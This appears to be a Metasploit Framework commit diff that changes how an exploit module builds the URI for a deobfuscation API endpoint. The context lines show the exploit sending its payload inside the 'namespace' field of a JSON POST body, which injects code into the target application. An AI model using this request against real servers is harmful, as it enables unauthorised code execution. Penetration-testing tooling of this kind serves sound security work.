Use normalize_uri a little better

bug/bundler_fix
jvazquez-r7 2013-08-08 15:12:51 -05:00
parent 4a609504e3
commit 567873f3cc
1 changed files with 2 additions and 2 deletions

View File

@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
response = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/api/1.0/deobfuscation'),
'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
'method' => 'POST',
'ctype' => 'application/json',
})
@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote
data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/api/1.0/deobfuscation'),
'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
'method' => 'POST',
'ctype' => 'application/json',
'data' => data